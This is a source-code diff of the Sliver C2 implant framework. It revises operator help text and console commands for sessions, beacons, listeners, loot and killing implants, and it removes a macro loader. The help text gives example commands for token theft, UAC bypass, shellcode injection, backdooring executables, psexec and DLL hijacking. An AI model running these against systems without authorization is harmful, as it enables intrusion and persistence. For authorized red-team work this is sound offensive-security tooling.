 	impersonateHelp = `[[.Bold]]Command:[[.Normal]] impersonate USERNAME
-[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that runs new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
+[[.Bold]]About:[[.Normal]] (Windows Only) Steal the token of a logged in user. Sliver commands that run new processes (like [[.Bold]]shell[[.Normal]] or [[.Bold]]execute-command[[.Normal]]) will impersonate this user.`
 
 	revToSelfHelp = `[[.Bold]]Command:[[.Normal]] rev2self
 [[.Bold]]About:[[.Normal]] (Windows Only) Call RevertToSelf, lose the stolen token.`
 
 	elevateHelp = `[[.Bold]]Command:[[.Normal]] elevate
-[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new sliver session as an elevated process (UAC bypass)`
+[[.Bold]]About:[[.Normal]] (Windows Only) Spawn a new Sliver session as an elevated process (UAC bypass)`
 
 	executeAssemblyHelp = `[[.Bold]]Command:[[.Normal]] execute-assembly [local path to assembly] [arguments]
 [[.Bold]]About:[[.Normal]] (Windows Only) Executes the .NET assembly in a child process.
 `
 
 	executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
-[[.Bold]]About:[[.Normal]] Executes the given shellcode in the Sliver process.
+[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
 
 [[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
 Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
@@ -404,9 +428,9 @@ Each command will have the [[.Bold]]--process[[.Normal]] flag defined, which all
 This command uploads a Sliver binary generated on the fly from a profile.
 The profile must be created with the [[.Bold]]service[[.Normal]] format, so that the service manager can properly start and stop the binary.
 
-To create such a profile, use the [[.Bold]]new-profile[[.Normal]] command:
+To create such a profile, use the [[.Bold]]profiles new[[.Normal]] command:
 
-new-profile --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
+profiles new --format service --skip-symbols --mtls a.bc.de --profile-name win-svc64
 
 Once the profile has been created, run the [[.Bold]]psexec[[.Normal]] command:
 
@@ -418,7 +442,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
 [[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
 [[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
 
-[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: new-profile --format shellcode --profile-name whatever --http ab.cd
+[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
 `
 	makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
 [[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
@@ -458,21 +482,19 @@ When using the binary type, you must either:
 [[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
 	`
 
-	pivotListHelp = `[[.Bold]]Command:[[.Normal]] pivots-list [--id SESSIONID]
-[[.Bold]]About:[[.Normal]] List created pivots
+	pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
+[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
 [[.Bold]]Examples:[[.Normal]]
-List pivots for all sessions:
-	
-	pivots-list
-
-List pivots for a specific session:
-
-	pivots-list --id 1
 
 List pivots for the current session:
 
-	pivots-list
-	`
+	pivots
+
+Start a tcp pivot on the current session:
+
+	pivots tcp --bind 0.0.0.0
+
+`
 	wgSocksHelp = `[[.Bold]]Command:[[.Normal]] wg-socks
 [[.Bold]]About:[[.Normal]] Create a socks5 listener on the implant Wireguard tun interface
 [[.Bold]]Examples:[[.Normal]]
@@ -630,7 +652,7 @@ supplied with the --profile flag.
 dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --file /tmp/blah.dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
 
 # Use a Sliver generated DLL for the hijack
-new-profile --format shared --mtls 1.2.3.4:1234 --profile-name dll
+profiles new --format shared --mtls 1.2.3.4:1234 --profile-name dll
 dllhijack --reference-path c:\\windows\\system32\\msasn1.dll --profile dll c:\\users\\bob\\appdata\\slack\\app-4.18.0\\msasn1.dll
 
 # Use a local DLL as the reference DLL

client/command/hosts/hosts.go

@@ -28,6 +28,7 @@ import (
 	"text/tabwriter"
 
 	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -59,14 +60,15 @@ func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
 	tw := table.NewWriter()
-	tw.SetStyle(table.StyleLight)
+	tw.SetStyle(settings.GetTableStyle(con))
 	tw.AppendHeader(table.Row{
+		"ID",
 		"Hostname",
 		"Operating System",
 		"Sessions",
+		"Beacons",
 		"IOCs",
-		"Extension Data",
-		"ID (Short)",
+		"Extensions",
 	})
 	for _, host := range hosts {
 		var shortID string
@@ -76,12 +78,13 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
 			shortID = host.HostUUID[:8]
 		}
 		tw.AppendRow(table.Row{
+			shortID,
 			host.Hostname,
 			host.OSVersion,
 			hostSessionNumbers(host.HostUUID, con),
+			hostBeacons(host.HostUUID, con),
 			len(host.IOCs),
 			len(host.ExtensionData),
-			shortID,
 		})
 	}
 	return tw.Render()
@@ -99,6 +102,25 @@ func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) strin
 	return strings.Join(sessionNumbers, ", ")
 }
 
+func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {
+	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return "Error"
+	}
+	count := 0
+	for _, beacon := range beacons.Beacons {
+		if beacon.UUID == hostUUID {
+			count++
+		}
+	}
+	if count == 0 {
+		return "None"
+	} else {
+		return fmt.Sprintf("%d", count)
+	}
+}
+
+// SessionsForHost - Find session for a given host by id
 func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
 	sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
 	if err != nil {

client/command/info/info.go

@@ -21,23 +21,18 @@ package info
 import (
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
 
 	"github.com/desertbit/grumble"
 )
 
 // InfoCmd - Display information about the active session
 func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-
-	var session *clientpb.Session
-	sessionName := ctx.Args.String("session")
-	if con.ActiveSession.GetInteractive() != nil {
-		session = con.ActiveSession.GetInteractive()
-	} else if sessionName != "" {
-		session = con.GetSession(sessionName)
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
 	}
-
 	if session != nil {
+
 		con.Printf(console.Bold+"                ID: %s%d\n", console.Normal, session.ID)
 		con.Printf(console.Bold+"              Name: %s%s\n", console.Normal, session.Name)
 		con.Printf(console.Bold+"          Hostname: %s%s\n", console.Normal, session.Hostname)
@@ -51,8 +46,26 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, session.Arch)
 		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
 		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
-		con.Printf(console.Bold+"     Poll Interval: %s%d\n", console.Normal, session.PollInterval)
 		con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
+
+	} else if beacon != nil {
+
+		con.Printf(console.Bold+"                ID: %s%s\n", console.Normal, beacon.ID)
+		con.Printf(console.Bold+"              Name: %s%s\n", console.Normal, beacon.Name)
+		con.Printf(console.Bold+"          Hostname: %s%s\n", console.Normal, beacon.Hostname)
+		con.Printf(console.Bold+"              UUID: %s%s\n", console.Normal, beacon.UUID)
+		con.Printf(console.Bold+"          Username: %s%s\n", console.Normal, beacon.Username)
+		con.Printf(console.Bold+"               UID: %s%s\n", console.Normal, beacon.UID)
+		con.Printf(console.Bold+"               GID: %s%s\n", console.Normal, beacon.GID)
+		con.Printf(console.Bold+"               PID: %s%d\n", console.Normal, beacon.PID)
+		con.Printf(console.Bold+"                OS: %s%s\n", console.Normal, beacon.OS)
+		con.Printf(console.Bold+"           Version: %s%s\n", console.Normal, beacon.Version)
+		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, beacon.Arch)
+		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
+		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
+		con.Printf(console.Bold+"          Interval: %s%d\n", console.Normal, beacon.Interval)
+		con.Printf(console.Bold+"            Jitter: %s%d\n", console.Normal, beacon.Jitter)
+
 	} else {
 		con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
 	}
@@ -60,36 +73,52 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 // PIDCmd - Get the active session's PID
 func PIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
-	con.Printf("%d\n", session.PID)
+	if session != nil {
+		con.Printf("%d\n", session.PID)
+	} else if beacon != nil {
+		con.Printf("%d\n", beacon.PID)
+	}
 }
 
 // UIDCmd - Get the active session's UID
 func UIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
-	con.Printf("%s\n", session.UID)
+	if session != nil {
+		con.Printf("%s\n", session.UID)
+	} else if beacon != nil {
+		con.Printf("%s\n", beacon.UID)
+	}
 }
 
 // GIDCmd - Get the active session's GID
 func GIDCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
-	con.Printf("%s\n", session.GID)
+	if session != nil {
+		con.Printf("%s\n", session.GID)
+	} else if beacon != nil {
+		con.Printf("%s\n", beacon.GID)
+	}
 }
 
 // WhoamiCmd - Displays the current user of the active session
 func WhoamiCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
-	con.Printf("%s\n", session.Username)
+	if session != nil {
+		con.Printf("%s\n", session.Username)
+	} else if beacon != nil {
+		con.Printf("%s\n", beacon.Username)
+	}
 }

client/command/info/ping.go

@@ -11,7 +11,7 @@ import (
 
 // PingCmd - Send a round trip C2 message to an implant (does not use ICMP)
 func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -20,7 +20,7 @@ func PingCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.PrintInfof("Ping %d\n", nonce)
 	pong, err := con.Rpc.Ping(context.Background(), &sliverpb.Ping{
 		Nonce:   int32(nonce),
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)

client/command/jobs/http.go

@@ -20,6 +20,7 @@ package jobs
 
 import (
 	"context"
+	"time"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -31,15 +32,29 @@ func HTTPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	domain := ctx.Flags.String("domain")
 	lhost := ctx.Flags.String("lhost")
 	lport := uint16(ctx.Flags.Int("lport"))
+	disableOTP := ctx.Flags.Bool("disable-otp")
+	longPollTimeout, err := time.ParseDuration(ctx.Flags.String("long-poll-timeout"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	longPollJitter, err := time.ParseDuration(ctx.Flags.String("long-poll-jitter"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
 
 	con.PrintInfof("Starting HTTP %s:%d listener ...\n", domain, lport)
 	http, err := con.Rpc.StartHTTPListener(context.Background(), &clientpb.HTTPListenerReq{
-		Domain:     domain,
-		Website:    ctx.Flags.String("website"),
-		Host:       lhost,
-		Port:       uint32(lport),
-		Secure:     false,
-		Persistent: ctx.Flags.Bool("persistent"),
+		Domain:          domain,
+		Website:         ctx.Flags.String("website"),
+		Host:            lhost,
+		Port:            uint32(lport),
+		Secure:          false,
+		Persistent:      ctx.Flags.Bool("persistent"),
+		EnforceOTP:      !disableOTP,
+		LongPollTimeout: int64(longPollTimeout),
+		LongPollJitter:  int64(longPollJitter),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)

client/command/jobs/https.go

@@ -21,6 +21,7 @@ package jobs
 import (
 	"context"
 	"io/ioutil"
+	"time"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -34,6 +35,18 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	lhost := ctx.Flags.String("lhost")
 	lport := uint16(ctx.Flags.Int("lport"))
 
+	disableOTP := ctx.Flags.Bool("disable-otp")
+	longPollTimeout, err := time.ParseDuration(ctx.Flags.String("long-poll-timeout"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	longPollJitter, err := time.ParseDuration(ctx.Flags.String("long-poll-jitter"))
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
 	cert, key, err := getLocalCertificatePair(ctx)
 	if err != nil {
 		con.Println()
@@ -43,15 +56,18 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	con.PrintInfof("Starting HTTPS %s:%d listener ...\n", domain, lport)
 	https, err := con.Rpc.StartHTTPSListener(context.Background(), &clientpb.HTTPListenerReq{
-		Domain:     domain,
-		Website:    website,
-		Host:       lhost,
-		Port:       uint32(lport),
-		Secure:     true,
-		Cert:       cert,
-		Key:        key,
-		ACME:       ctx.Flags.Bool("lets-encrypt"),
-		Persistent: ctx.Flags.Bool("persistent"),
+		Domain:          domain,
+		Website:         website,
+		Host:            lhost,
+		Port:            uint32(lport),
+		Secure:          true,
+		Cert:            cert,
+		Key:             key,
+		ACME:            ctx.Flags.Bool("lets-encrypt"),
+		Persistent:      ctx.Flags.Bool("persistent"),
+		EnforceOTP:      !disableOTP,
+		LongPollTimeout: int64(longPollTimeout),
+		LongPollJitter:  int64(longPollJitter),
 	})
 	con.Println()
 	if err != nil {

client/command/jobs/jobs.go

@@ -21,16 +21,15 @@ package jobs
 import (
 	"context"
 	"fmt"
-	"os"
 	"sort"
-	"strings"
-	"text/tabwriter"
 
+	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 
 	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
 )
 
 // JobsCmd - Manage server jobs (listeners, etc)
@@ -51,33 +50,41 @@ func JobsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			activeJobs[job.ID] = job
 		}
 		if 0 < len(activeJobs) {
-			printJobs(activeJobs)
+			PrintJobs(activeJobs, con)
 		} else {
 			con.PrintInfof("No active jobs\n")
 		}
 	}
 }
 
-func printJobs(jobs map[uint32]*clientpb.Job) {
-	table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
-	fmt.Fprintf(table, "ID\tName\tProtocol\tPort\t\n")
-	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
-		strings.Repeat("=", len("ID")),
-		strings.Repeat("=", len("Name")),
-		strings.Repeat("=", len("Protocol")),
-		strings.Repeat("=", len("Port")))
+// PrintJobs - Prints a list of active jobs
+func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient) {
+
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"ID",
+		"Name",
+		"Protocol",
+		"Port",
+	})
 
 	var keys []int
 	for _, job := range jobs {
 		keys = append(keys, int(job.ID))
 	}
-	sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
+	sort.Ints(keys)
 
 	for _, k := range keys {
 		job := jobs[uint32(k)]
-		fmt.Fprintf(table, "%d\t%s\t%s\t%d\t\n", job.ID, job.Name, job.Protocol, job.Port)
+		tw.AppendRow(table.Row{
+			fmt.Sprintf("%d", job.ID),
+			job.Name,
+			job.Protocol,
+			fmt.Sprintf("%d", job.Port),
+		})
 	}
-	table.Flush()
+	con.Printf("%s\n", tw.Render())
 }
 
 func jobKill(jobID uint32, con *console.SliverConsoleClient) {

client/command/kill/kill.go

@@ -0,0 +1,97 @@
+package kill
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"errors"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+// KillCmd - Kill the active session (not to be confused with TerminateCmd)
+func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	// Confirm with the user, just in case they confused kill with terminate
+	confirm := false
+	promptSession := &survey.Confirm{Message: "Kill the active session?"}
+	promptBeacon := &survey.Confirm{Message: "Kill the active beacon?"}
+	if session != nil {
+		survey.AskOne(promptSession, &confirm, nil)
+		if !confirm {
+			return
+		}
+		err := KillSession(session, ctx.Flags.Bool("force"), con)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
+		con.ActiveTarget.Background()
+		return
+	}
+	if beacon != nil {
+		survey.AskOne(promptBeacon, &confirm, nil)
+		if !confirm {
+			return
+		}
+		err := KillBeacon(beacon, ctx.Flags.Bool("force"), con)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+		con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
+		con.ActiveTarget.Background()
+		return
+	}
+	con.PrintErrorf("No active session or beacon\n")
+	return
+}
+
+func KillSession(session *clientpb.Session, force bool, con *console.SliverConsoleClient) error {
+	if session == nil {
+		return errors.New("session does not exist")
+	}
+	_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
+		Request: &commonpb.Request{
+			SessionID: session.ID,
+		},
+		Force: force,
+	})
+	return err
+}
+
+func KillBeacon(beacon *clientpb.Beacon, force bool, con *console.SliverConsoleClient) error {
+	if beacon == nil {
+		return errors.New("session does not exist")
+	}
+	_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
+		Request: &commonpb.Request{
+			BeaconID: beacon.ID,
+		},
+		Force: force,
+	})
+	return err
+
+}

client/command/loot/loot.go

@@ -46,7 +46,7 @@ func LootCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if filter == "" {
 		allLoot, err = con.Rpc.LootAll(context.Background(), &commonpb.Empty{})
 		if err != nil {
-			con.PrintWarnf("Failed to fetch loot %s\n", err)
+			con.PrintErrorf("Failed to fetch loot %s\n", err)
 			return
 		}
 	} else {

client/command/loot/remote.go

@@ -33,7 +33,7 @@ import (
 
 // LootAddRemoteCmd - Add a file from the remote system to the server as loot
 func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
+	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}
@@ -60,7 +60,7 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
 
 	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
-		Request: con.ActiveSession.Request(ctx),
+		Request: con.ActiveTarget.Request(ctx),
 		Path:    remotePath,
 	})
 	if err != nil {

client/command/macros/load.go

@@ -1,335 +0,0 @@
-package macros
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"encoding/json"
-	"fmt"
-	"io/ioutil"
-	"os"
-	"path"
-	"path/filepath"
-	"strings"
-
-	"github.com/bishopfox/sliver/client/command/help"
-	"github.com/bishopfox/sliver/client/console"
-	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-)
-
-const (
-	defaultTimeout = 60
-
-	windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
-	linuxDefaultHostProc   = "/bin/bash"
-	macosDefaultHostProc   = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
-)
-
-var commandMap map[string]macro
-var defaultHostProc = map[string]string{
-	"windows": windowsDefaultHostProc,
-	"linux":   windowsDefaultHostProc,
-	"darwin":  macosDefaultHostProc,
-}
-
-type binFiles struct {
-	Ext64Path string `json:"x64"`
-	Ext32Path string `json:"x86"`
-}
-
-type macroFile struct {
-	OS    string   `json:"os"`
-	Files binFiles `json:"files"`
-}
-
-type macroCommand struct {
-	Name         string      `json:"name"`
-	Entrypoint   string      `json:"entrypoint"`
-	Help         string      `json:"help"`
-	LongHelp     string      `json:"longHelp"`
-	AllowArgs    bool        `json:"allowArgs"`
-	DefaultArgs  string      `json:"defaultArgs"`
-	MacroFiles   []macroFile `json:"extFiles"`
-	IsReflective bool        `json:"isReflective"`
-	IsAssembly   bool        `json:"IsAssembly"`
-}
-
-func (ec *macroCommand) getDefaultProcess(targetOS string) (proc string, err error) {
-	proc, ok := defaultHostProc[targetOS]
-	if !ok {
-		err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
-	}
-	return
-}
-
-type macro struct {
-	Name     string         `json:"macroName"`
-	Commands []macroCommand `json:"macroCommands"`
-	Path     string
-}
-
-func (e *macro) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
-	for _, c := range e.Commands {
-		if cmdName == c.Name {
-			for _, ef := range c.MacroFiles {
-				if targetOS == ef.OS {
-					switch targetArch {
-					case "x86":
-						filePath = filepath.Join(e.Path, ef.Files.Ext32Path)
-					case "x64":
-						filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
-					default:
-						filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
-					}
-				}
-			}
-
-		}
-	}
-	if filePath == "" {
-		err = fmt.Errorf("no macro file found for %s/%s", targetOS, targetArch)
-	}
-	return
-}
-
-func (e *macro) getCommandFromName(name string) (extCmd *macroCommand, err error) {
-	for _, x := range e.Commands {
-		if x.Name == name {
-			extCmd = &x
-			return
-		}
-	}
-	err = fmt.Errorf("no macro command found for name %s", name)
-	return
-}
-
-// LoadMacroCmd - Locally load a macro into the Sliver shell.
-func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-
-	dirPath := ctx.Args.String("dir-path")
-
-	// retrieve macro manifest
-	manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
-	jsonBytes, err := ioutil.ReadFile(manifestPath)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-	}
-	// parse it
-	ext := &macro{}
-	err = json.Unmarshal(jsonBytes, ext)
-	if err != nil {
-		con.PrintErrorf("Error loading macro: %v", err)
-		return
-	}
-	ext.Path = dirPath
-	// for each macro command, add a new app command
-	for _, extCmd := range ext.Commands {
-		// do not add if the command already exists
-		if cmdExists(extCmd.Name, ctx.App) {
-			con.PrintErrorf("%s command already exists\n", extCmd.Name)
-			return
-		}
-		con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
-
-		// Have to use a global map here, as passing the extCmd
-		// either by value or by ref fucks things up
-		commandMap[extCmd.Name] = *ext
-		helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
-		macroCmd := &grumble.Command{
-			Name:     extCmd.Name,
-			Help:     helpMsg,
-			LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
-			Run: func(extCtx *grumble.Context) error {
-				con.Println()
-				runMacroCommand(extCtx, con)
-				con.Println()
-				return nil
-			},
-			Flags: func(f *grumble.Flags) {
-				if extCmd.IsAssembly {
-					f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
-					f.String("c", "class", "", "Optional class name (required for .NET DLL)")
-					f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
-					f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
-				}
-				f.String("p", "process", "", "Path to process to host the shared object")
-				f.Bool("s", "save", false, "Save output to disk")
-				f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-			},
-			Args: func(a *grumble.Args) {
-				a.StringList("arguments", "arguments", grumble.Default([]string{}))
-			},
-			HelpGroup: consts.MacroHelpGroup,
-		}
-		con.App.AddCommand(macroCmd)
-	}
-	con.PrintInfof("%s macro has been loaded\n", ext.Name)
-}
-
-func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
-		return
-	}
-	ext, ok := commandMap[ctx.Command.Name]
-	if !ok {
-		con.PrintErrorf("No macro command found for `%s` command\n", ctx.Command.Name)
-		return
-	}
-
-	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	c, err := ext.getCommandFromName(ctx.Command.Name)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	args := ctx.Args.StringList("arguments")
-	var extArgs string
-	if len(c.DefaultArgs) != 0 && len(args) == 0 {
-		extArgs = c.DefaultArgs
-	} else {
-		extArgs = strings.Join(args, " ")
-	}
-	entryPoint := c.Entrypoint
-	processName := ctx.Flags.String("process")
-	if processName == "" {
-		processName, err = c.getDefaultProcess(session.GetOS())
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-	isDLL := false
-	if filepath.Ext(binPath) == ".dll" {
-		isDLL = true
-	}
-	binData, err := ioutil.ReadFile(binPath)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	var outFilePath *os.File
-	if ctx.Flags.Bool("save") {
-		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
-		outFilePath, err = ioutil.TempFile("", outFile)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-	if c.IsAssembly {
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
-		con.SpinUntil(msg, ctrl)
-		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-			Request:   con.ActiveSession.Request(ctx),
-			IsDLL:     isDLL,
-			Process:   processName,
-			Arguments: extArgs,
-			Assembly:  binData,
-			Arch:      ctx.Flags.String("arch"),
-			Method:    ctx.Flags.String("method"),
-			ClassName: ctx.Flags.String("class"),
-			AppDomain: ctx.Flags.String("app-domain"),
-		})
-		ctrl <- true
-		<-ctrl
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
-		if outFilePath != nil {
-			outFilePath.Write(executeAssemblyResp.GetOutput())
-			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-		}
-	} else if c.IsReflective {
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
-		con.SpinUntil(msg, ctrl)
-		spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
